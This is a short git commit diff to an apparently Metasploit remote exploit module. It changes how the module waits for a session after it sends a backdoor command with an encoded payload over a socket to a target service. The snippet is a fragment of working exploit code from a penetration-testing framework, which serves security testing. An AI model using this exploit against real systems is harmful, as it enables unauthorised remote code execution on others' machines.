parent
2e9658f582
commit
54fb6d2f7a
|
@ -73,7 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Sending backdoor command...")
|
||||
sock.put("AB;" + payload.encoded + "\n")
|
||||
|
||||
handler
|
||||
# Wait for the request to be handled
|
||||
1.upto(120) do
|
||||
break if session_created?
|
||||
select(nil, nil, nil, 0.25)
|
||||
handler()
|
||||
end
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue